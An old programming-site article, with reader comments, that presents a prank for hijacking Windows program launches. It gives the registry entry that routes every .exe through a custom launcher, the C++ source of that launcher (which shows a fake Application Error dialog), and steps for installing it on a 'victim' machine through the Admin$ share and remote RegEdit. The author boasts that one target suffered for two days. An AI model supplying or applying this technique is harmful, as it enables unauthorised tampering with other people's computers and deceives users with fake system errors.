Click here to Skip to main content
15,867,568 members
Articles / Programming Languages / C++
Article

Application Terror

Rate me:
Please Sign up or sign in to vote.
2.23/5 (13 votes)
28 May 2002Ms-PL2 min read 110.3K   323   34   25
How to (really) annoy your friends and foes or even your boss.

Sample Image - Application_Terror.jpg

Being Bad

If you ever wanted to annoy someone really, here is a way to do it. Windows stores for .exe files a registry key which specifies what to do with a ".exe" file. It is located at HKEY_CLASSES_ROOT\exefile\shell\open\command and normally contains the value "%1" %* which just means: do what the first parameter specifies and pass the rest of the parameters as new parameters. As you may know, the first parameter is the full name of the .exe file to be executed.

And here we start with our nasty trick. We redirect the command line to our "application". We do this by modifying the registry key:

[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"aelaunch.exe\" %1 %*"

You see already that our application is named AELAUNCH.EXE (you can give it any name) and takes some parameters.

The Bad One

Well, from now on, any application seems to generate an application error but still continues to run somehow.

The application is no miracle, it doesn't need nor use MFC. The whole code is just about 50 lines including comments. The main function is:

int APIENTRY _tWinMain(HINSTANCE hInst, 
   HINSTANCE,LPTSTR lpCmdLine, int nCmdShow)
{
    if (lpCmdLine[0] != '\0') // we have a command line?
    {
        LPSTR p = lpCmdLine;
        while(*p)
        {
            if(*p == '\"') // lets get rid of any quotes
                *p = ' ';
            p++;
        }
        // ::MessageBox(NULL, lpCmdLine, "Commandline", MB_OK);
        WinExec(lpCmdLine, nCmdShow);
    }

    DialogBox(hInst, (LPCTSTR)IDD_APPLICATIONTERROR_DIALOG, 
                                   NULL, (DLGPROC)DialogProc);
    
    return 0;
}

It uses the "obsolete" function WinExec() just because it's convenient and works perfectly. Using CreateProcess() or ShellExecute() would cause far too much trouble.

As you see, the application checks for a command line, replaces any existing quote characters with spaces (we really don't need them here anymore) and passes the command line to WinExec.

When WinExec returns (as soon as the starting application calls the first time, GetMessage()), the application shows a dialog which happen to look like the well known Application Error dialog. :-)

Relax and Enjoy

Now you may wonder how this will annoy anyone? Remember a default share called Admin$? And do you remember that RegEdit can connect to other machines? Bingo, just copy the executable to your victim's Admin$\system32 directory, run RegEdit and modify the registry of the victim's machine. Here you go...

Try it and smile, while making a mental list of who will be the next target for aelaunch.exe.

The last one whom I targeted with it suffered 2 days until he found what I did. It was a well done payback.

License

This article, along with any associated source code and files, is licensed under The Microsoft Public License (Ms-PL)


Written By
Software Developer (Senior)
Portugal Portugal
Software Smith, Blacksmith, Repeat Founder, Austrian, Asgardian.

Comments and Discussions

 
GeneralCompiling error.... Pin
Piccinano19-Feb-03 23:16
Piccinano19-Feb-03 23:16 
GeneralRe: Compiling error.... Pin
Andreas Saurwein19-Feb-03 23:30
Andreas Saurwein19-Feb-03 23:30 
GeneralIt can be useful! Pin
vboctor6-Nov-02 18:33
vboctor6-Nov-02 18:33 
GeneralRe: It can be useful! Pin
Andreas Saurwein7-Nov-02 2:23
Andreas Saurwein7-Nov-02 2:23 
GeneralVirus Pin
3-Jun-02 15:27
suss3-Jun-02 15:27 
GeneralRe: Virus Pin
Philippe Lhoste4-Jun-02 3:27
Philippe Lhoste4-Jun-02 3:27 
GeneralRe: Virus Pin
Andreas Saurwein4-Jun-02 3:37
Andreas Saurwein4-Jun-02 3:37 
GeneralRe: Virus (are you insane??) Pin
Panchote6-Mar-04 18:40
Panchote6-Mar-04 18:40 
GeneralHeh Pin
Matt Philmon29-May-02 16:49
Matt Philmon29-May-02 16:49 
GeneralRe: Heh Pin
Andreas Saurwein29-May-02 21:21
Andreas Saurwein29-May-02 21:21 
GeneralKewl! Pin
Shog929-May-02 15:09
sitebuilderShog929-May-02 15:09 
GeneralRe: Kewl! Pin
Nish Nishant29-May-02 15:23
sitebuilderNish Nishant29-May-02 15:23 
GeneralRe: Kewl! Pin
Andreas Saurwein29-May-02 21:24
Andreas Saurwein29-May-02 21:24 
GeneralAnother idea Pin
Nish Nishant29-May-02 15:14
sitebuilderNish Nishant29-May-02 15:14 
GeneralRe: Another idea Pin
Andreas Saurwein29-May-02 21:31
Andreas Saurwein29-May-02 21:31 
GeneralHey :-) Pin
Nish Nishant29-May-02 15:07
sitebuilderNish Nishant29-May-02 15:07 
GeneralRe: Hey :-) Pin
Shog929-May-02 15:19
sitebuilderShog929-May-02 15:19 
GeneralRe: Hey :-) Pin
Nish Nishant29-May-02 15:22
sitebuilderNish Nishant29-May-02 15:22 
GeneralRe: Hey :-) Pin
Shog929-May-02 15:29
sitebuilderShog929-May-02 15:29 
GeneralRe: Hey :-) Pin
Nish Nishant29-May-02 15:37
sitebuilderNish Nishant29-May-02 15:37 
GeneralRe: Hey :-) Pin
Shog929-May-02 15:40
sitebuilderShog929-May-02 15:40 
GeneralRe: Hey :-) Pin
peterchen30-May-02 1:08
peterchen30-May-02 1:08 
GeneralRe: Hey :-) Pin
codemunkeh14-Dec-06 14:58
codemunkeh14-Dec-06 14:58 
GeneralBad Pin
Thomas Freudenberg29-May-02 13:46
Thomas Freudenberg29-May-02 13:46 
GeneralRe: Bad Pin
Andreas Saurwein29-May-02 21:19
Andreas Saurwein29-May-02 21:19 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.